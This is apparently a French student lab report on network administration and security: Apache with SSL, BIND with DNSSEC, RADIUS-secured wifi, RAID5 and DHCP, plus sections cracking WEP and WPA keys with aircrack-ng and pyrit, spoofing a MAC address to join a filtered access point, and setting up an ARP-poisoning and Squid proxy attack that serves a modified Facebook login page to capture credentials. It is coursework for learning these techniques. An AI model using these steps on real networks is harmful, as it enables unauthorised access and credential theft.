Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol. &lt;br /&gt;
&lt;br /&gt;
==== Installation du serveur Apache et du certificat SSL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr&lt;br /&gt;
&lt;br /&gt;
Les domaines certifiés sont ''michay.lol'' et ''www.michay.lol''.&lt;br /&gt;
&lt;br /&gt;
On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.&lt;br /&gt;
&lt;br /&gt;
On poursuit ensuite en activant le module SSL d'Apache :&lt;br /&gt;
&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
    NameVirtualHost 193.48.57.163:443&lt;br /&gt;
 &amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf : &lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;                                                  **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****&lt;br /&gt;
  ServerName www.michay.lol                                           **** Domaine et Alias ****&lt;br /&gt;
  ServerAlias michay.lol&lt;br /&gt;
  DocumentRoot /var/www/www.michay.lol/                               **** Dossier contenant les fichiers du site ****&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined               **** Localisation des logs ****&lt;br /&gt;
  SSLEngine on                                                        **** Activation du SSL ****&lt;br /&gt;
  SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt                **** Chargement du certificat signé par Gandi ****&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key           **** Clé privée correspondant au certificat combiné à la PEM ****&lt;br /&gt;
  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem      **** Clé publique émise par Gandi ****&lt;br /&gt;
  SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:certif1.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;Certificat certifié par Gandi.&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
On peut notamment voir toute la chaîne de certification ! &lt;br /&gt;
&lt;br /&gt;
[[Fichier:certif2.PNG |thumb|center| 500px|&amp;lt;center&amp;gt;La chaîne de certification de notre certificat.&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
==== Mise en place du serveur DNS et de DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :&lt;br /&gt;
&lt;br /&gt;
Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.&lt;br /&gt;
&lt;br /&gt;
zone db.michay.lol :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
  &lt;br /&gt;
 @       IN      SOA     ns.michay.lol. root.michay.lol. (&lt;br /&gt;
                     2015102001         ; Serial&lt;br /&gt;
                          86400         ; Refresh&lt;br /&gt;
                           3600         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                          86400 )       ; Negative Cache TTL&lt;br /&gt;
  &lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key&lt;br /&gt;
  &lt;br /&gt;
 @       IN      NS      ns.michay.lol.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns      IN      A       193.48.57.163&lt;br /&gt;
 www     IN      A       193.48.57.163&lt;br /&gt;
 god     IN      A       193.48.57.163&lt;br /&gt;
 ns      IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 god     IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
 @       IN      A       193.48.57.163&lt;br /&gt;
 @       IN      AAAA    2001:660:4401:60bb:216:3eff:fe73:e535&lt;br /&gt;
&lt;br /&gt;
et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :&lt;br /&gt;
&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
  &lt;br /&gt;
 @       IN       SOA     ns.michay.lol. root.michay.lol.     (&lt;br /&gt;
        2015102001       ;serial&lt;br /&gt;
        14400            ;refresh&lt;br /&gt;
        3600             ;retry&lt;br /&gt;
        604800           ;expire&lt;br /&gt;
        10800            ;minimum&lt;br /&gt;
 )&lt;br /&gt;
  &lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns.michay.lol.&lt;br /&gt;
 57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net.&lt;br /&gt;
  &lt;br /&gt;
 163               IN      PTR     michay.lol.&lt;br /&gt;
&lt;br /&gt;
On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;michay.lol&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/zones/db.michay.lol.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
        notify yes;&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 zone &amp;quot;57.48.193.in-addr.arpa&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/zones/57.48.193.in-addr.arpa&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :&lt;br /&gt;
&lt;br /&gt;
* allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)&lt;br /&gt;
*  @       IN      NS      ns6.gandi.net. et  57.48.193.in-addr.arpa.                IN      NS      ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire&lt;br /&gt;
&lt;br /&gt;
On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.&lt;br /&gt;
&lt;br /&gt;
Génération de la KSK :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol&lt;br /&gt;
&lt;br /&gt;
Génération de la ZSK : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol&lt;br /&gt;
&lt;br /&gt;
On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :&lt;br /&gt;
 root@chimay:/etc/bind/michay.lol.dnssec# ls&lt;br /&gt;
 total 24&lt;br /&gt;
 drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .&lt;br /&gt;
 drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..&lt;br /&gt;
 -rw-r--r-- 1 root bind  603 Oct 20 13:48 michay.lol-ksk.key&lt;br /&gt;
 -rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private&lt;br /&gt;
 -rw-r--r-- 1 root bind  429 Oct 20 13:48 michay.lol-zsk.key&lt;br /&gt;
 -rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private&lt;br /&gt;
&lt;br /&gt;
On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key&lt;br /&gt;
 $include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key&lt;br /&gt;
&lt;br /&gt;
On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique &amp;quot;Gérer DNSSEC&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Pour finir, on signe la zone avec la commande dnssec-signzone :&lt;br /&gt;
 dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk&lt;br /&gt;
&lt;br /&gt;
Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.&lt;br /&gt;
&lt;br /&gt;
Après test ([http://www.dnsstuff.com/tools#dnsReport|type=domain&amp;amp;&amp;amp;value=michay.lol juste ici]), on constate que la mise en place de DNSSEC est validée. &lt;br /&gt;
Après quelques modifications, il reste 1 &amp;quot;erreur&amp;quot; (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).&lt;br /&gt;
&lt;br /&gt;
=== Piratage des bornes wifi ===&lt;br /&gt;
==== Crackage WEP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.&lt;br /&gt;
 airmon-ng start wlanX&lt;br /&gt;
wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :&lt;br /&gt;
 airmon-ng check kill&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:&lt;br /&gt;
 airodump-ng wlan5mon&lt;br /&gt;
Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :&lt;br /&gt;
 airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon&lt;br /&gt;
&lt;br /&gt;
Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé.&lt;br /&gt;
Dans le nouveau terminal, nous entrons :&lt;br /&gt;
 aircrack-ng fichier*.cap&lt;br /&gt;
&lt;br /&gt;
Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :&lt;br /&gt;
 KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]&lt;br /&gt;
&lt;br /&gt;
==== Crackage WPA ====&lt;br /&gt;
De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.&lt;br /&gt;
&lt;br /&gt;
Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 -o dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer le bruteforce avec la commande :&lt;br /&gt;
 aircrack-ng file.cap -w dictionnaire.txt&lt;br /&gt;
La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme [https://code.google.com/p/pyrit/ pyrit] qui va utiliser le GPU de l'ordinateur. La commande est :&lt;br /&gt;
 pyrit -r file.cap -i dictionnaire.txt attack_passthrough&lt;br /&gt;
&lt;br /&gt;
===== Les résultats =====&lt;br /&gt;
Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.&lt;br /&gt;
 crunch 8 8 012389 -o dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Utilisation d'aircrack&lt;br /&gt;
 $ time aircrack-ng out-01.cap -w dic.txt&lt;br /&gt;
                                  Aircrack-ng 1.2 rc3&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                    [00:01:36] 404340 keys tested (4197.19 k/s)&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
                            KEY FOUND! [ 12399903 ]&lt;br /&gt;
  &lt;br /&gt;
 &lt;br /&gt;
       Master Key     : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87 &lt;br /&gt;
                        40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93 &lt;br /&gt;
 &lt;br /&gt;
       Transient Key  : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82 &lt;br /&gt;
                        7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE &lt;br /&gt;
                        F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9 &lt;br /&gt;
                        BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94 &lt;br /&gt;
 &lt;br /&gt;
       EAPOL HMAC     : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B &lt;br /&gt;
 &lt;br /&gt;
 real	1m37.298s&lt;br /&gt;
 user	12m55.440s&lt;br /&gt;
 sys	0m0.112s&lt;br /&gt;
&lt;br /&gt;
La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.&lt;br /&gt;
&lt;br /&gt;
Utilisation de pyrit&lt;br /&gt;
 $ time pyrit -r out-01.cap -i dic.txt attack_passthrough&lt;br /&gt;
 Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
 This code is distributed under the GNU General Public License v3+&lt;br /&gt;
 &lt;br /&gt;
 Parsing file 'out-01.cap' (1/1)...&lt;br /&gt;
 Parsed 30 packets (30 802.11-packets), got 1 AP(s)&lt;br /&gt;
 &lt;br /&gt;
 Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.&lt;br /&gt;
 Tried 440022 PMKs so far; 24749 PMKs per second.&lt;br /&gt;
 &lt;br /&gt;
 The password is '12399903'.&lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 real	0m21.305s&lt;br /&gt;
 user	2m20.100s&lt;br /&gt;
 sys	0m8.448s&lt;br /&gt;
&lt;br /&gt;
La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.&lt;br /&gt;
&lt;br /&gt;
==== Connexion à l'AP autorisé ====&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
On commente #auto eth0&lt;br /&gt;
&lt;br /&gt;
On configure wlan0 :&lt;br /&gt;
&lt;br /&gt;
 auto wlan0&lt;br /&gt;
 iface wlan0 inet static&lt;br /&gt;
 address 172.26.79.63&lt;br /&gt;
 netmask 255.255.240.0&lt;br /&gt;
 gateway 172.26.79.254&lt;br /&gt;
 wireless-essid troubadour&lt;br /&gt;
 wireless-mode managed&lt;br /&gt;
&lt;br /&gt;
La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.&lt;br /&gt;
&lt;br /&gt;
==== Connexion à l'AP filtré ====&lt;br /&gt;
&lt;br /&gt;
On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.&lt;br /&gt;
&lt;br /&gt;
On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :&lt;br /&gt;
 ifconfig wlan0 down&lt;br /&gt;
 ifconfig wlan0 hw ether 00:15:af:e7:19:f3&lt;br /&gt;
 ifconfig wlan0 up&lt;br /&gt;
&lt;br /&gt;
On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !&lt;br /&gt;
&lt;br /&gt;
=== Configuration des Points d'Accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, nous avons configuré un serveur &amp;lt;code&amp;gt;FreeRadius&amp;lt;/code&amp;gt; pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier &amp;lt;code&amp;gt;/etc/freeradius/&amp;lt;/code&amp;gt;.&lt;br /&gt;
On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :&lt;br /&gt;
&lt;br /&gt;
 myusername Cleartext-password := &amp;quot;myclearpassword&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 client E304 {&lt;br /&gt;
         ipaddr = 10.10.10.1&lt;br /&gt;
         secret = anotherpassword&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 client VLAN13 {&lt;br /&gt;
         ipaddr = 172.20.13.0&lt;br /&gt;
         netmask = 24&lt;br /&gt;
         secret = anotherpassword&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Il est important d'ajouter aussi un client pour la salle E306.&lt;br /&gt;
&lt;br /&gt;
On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :&lt;br /&gt;
   eap {&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
     peap {&lt;br /&gt;
       default_eap_type = mschapv2&lt;br /&gt;
     }&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_chimay group radius_chimay&lt;br /&gt;
 radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword&lt;br /&gt;
 aaa group server radius radius_chimay&lt;br /&gt;
 server 193.48.57.163 auth-port 1812 acct-port 1813&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 dot11 ssid SSID_CHIMAY&lt;br /&gt;
 vlan 13&lt;br /&gt;
 authentication open eap eap_chimay&lt;br /&gt;
 authentication network-eap eap_chimay&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 mbssid guest-mode&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 13 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_CHIMAY&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0.13&lt;br /&gt;
 encapsulation dot1Q 13&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 13&lt;br /&gt;
 bridge-group 13 subscriber-loop-control&lt;br /&gt;
 bridge-group 13 spanning-disabled&lt;br /&gt;
 bridge-group 13 block-unknown-source&lt;br /&gt;
 no bridge-group 13 source-learning&lt;br /&gt;
 no bridge-group 13 unicast-flooding &lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
 &lt;br /&gt;
 interface GigabitEthernet0.13&lt;br /&gt;
 encapsulation dot1Q 13&lt;br /&gt;
 bridge-group 13&lt;br /&gt;
 &lt;br /&gt;
 exit&lt;br /&gt;
  &lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :&lt;br /&gt;
 auto wlan0&lt;br /&gt;
 iface wlan0 inet static&lt;br /&gt;
  address 172.20.13.12&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 172.20.13.254&lt;br /&gt;
  wpa-ssid SSID_CHIMAY&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity myusername&lt;br /&gt;
  wpa-password mycleanpassword&lt;br /&gt;
&lt;br /&gt;
Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation des données ===&lt;br /&gt;
&lt;br /&gt;
Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v&lt;br /&gt;
 lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid2,xvde,w',&lt;br /&gt;
 'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',&lt;br /&gt;
&lt;br /&gt;
Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 : &lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
On crée le volume md0 : &lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf&lt;br /&gt;
&lt;br /&gt;
On vérifie que le volume est bien monté : &lt;br /&gt;
 fdisk -l&lt;br /&gt;
Renvoie :&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Un mdam --detail nous montre plus de détails sur la partition :&lt;br /&gt;
 root@chimay:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Mon Nov 30 15:29:04 2015&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.34 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
     Update Time : Mon Nov 30 15:29:04 2015&lt;br /&gt;
           State : clean&lt;br /&gt;
  Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
  Failed Devices : 0&lt;br /&gt;
   Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : chimay:0  (local to host chimay)&lt;br /&gt;
           UUID : 72cc8ab9:4063c466:b04894e4:2b38e399&lt;br /&gt;
         Events : 0&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       48        0      active sync   /dev/xvdd&lt;br /&gt;
       1     202       64        1      active sync   /dev/xvde&lt;br /&gt;
       2     202       80        2      active sync   /dev/xvdf&lt;br /&gt;
&lt;br /&gt;
=== Configuration d'un PCBX ===&lt;br /&gt;
==== Installation et mise en place d'un serveur DHCP ====&lt;br /&gt;
&lt;br /&gt;
On commence par installer le serveur DHCP sur l'eeePC :&lt;br /&gt;
 apt-get install isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
On modifie ensuite la configuration dans ''/etc/dhcp/dhcpd.conf'', et on y ajoute cette définition du subnet :&lt;br /&gt;
 subnet 172.20.13.0 netmask 255.255.255.0 {&lt;br /&gt;
   range 172.20.13.10 172.20.13.50;&lt;br /&gt;
   option routers 172.20.13.1;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:wifi.PNG |thumb|center| 200px|&amp;lt;center&amp;gt;Adresse IP obtenue via DHCP&amp;lt;/center&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
=== Attaque Man in the Middle ===&lt;br /&gt;
Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte.&lt;br /&gt;
Le hack se fait de la manière suivante :&lt;br /&gt;
 1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning)&lt;br /&gt;
 2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables.&lt;br /&gt;
    Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP.&lt;br /&gt;
 3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion.&lt;br /&gt;
 4. Profit&lt;br /&gt;
&lt;br /&gt;
==== Configuration de Squid ====&lt;br /&gt;
 # Fichier /etc/squid3/squid.conf&lt;br /&gt;
 acl allowedips src 192.168.1.0/24              # ip ou range d'ip à attaquer&lt;br /&gt;
 http_access allow allowedips&lt;br /&gt;
 forwarded_for off                              # Masque notre ip dans le header HTTP&lt;br /&gt;
 http_access deny all                           # Empeche les personnes extérieures d'accéder à notre proxy&lt;br /&gt;
 cache_access_log /var/log/squid3/access.log&lt;br /&gt;
 cache_log /var/log/squid3/cache.log&lt;br /&gt;
 cache_store_log /var/log/squid3/store.log&lt;br /&gt;
 cache_dir ufs /var/spool/squid3 100 16 256&lt;br /&gt;
 cache_mem 16 MB&lt;br /&gt;
 maximum_object_size 15 MB&lt;br /&gt;
 http_port 3129 intercept                       # Pour rendre le proxy transparent&lt;br /&gt;
 cache_effective_group root&lt;br /&gt;
 url_rewrite_program /usr/bin/squidGuard        # Intégration de SquidGuard&lt;br /&gt;
&lt;br /&gt;
==== Configuration de SquidGuard ====&lt;br /&gt;
Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.&lt;br /&gt;
 # Fichier /etc/squidguard/squidGuard.conf&lt;br /&gt;
 dbhome /usr/local/squidGuard/db                # Dossier parent de la base de données&lt;br /&gt;
 &lt;br /&gt;
 dest fb-login {                                # Définition des urls/domaines à rediriger&lt;br /&gt;
     urllist     facebook/url&lt;br /&gt;
 }&lt;br /&gt;
 &lt;br /&gt;
 acl {&lt;br /&gt;
     default {&lt;br /&gt;
        pass !fb-login all                      # Laisser passer tout ce qui ne concerne pas Facebook&lt;br /&gt;
        redirect http://127.0.0.1/              # Rediriger le trafic vers notre serveur Apache local&lt;br /&gt;
     }&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 # Fichier /usr/local/squidGuard/db/facebook/url&lt;br /&gt;
 fr-fr.facebook.com&lt;br /&gt;
&lt;br /&gt;
Pour lancer le proxy, dans une console :&lt;br /&gt;
 squidGuard -C all                              # Génération de la base de données (à faire à chaque modification des fichiers db)&lt;br /&gt;
 squid3 -z                                      # Vérification de la configuration de Squid&lt;br /&gt;
 service squid start&lt;br /&gt;
 service squid status                           # Pour vérifier qu'il n'y a pas d'erreurs&lt;br /&gt;
 vim /var/log/squidguard/squidGuard.log&lt;br /&gt;
&lt;br /&gt;
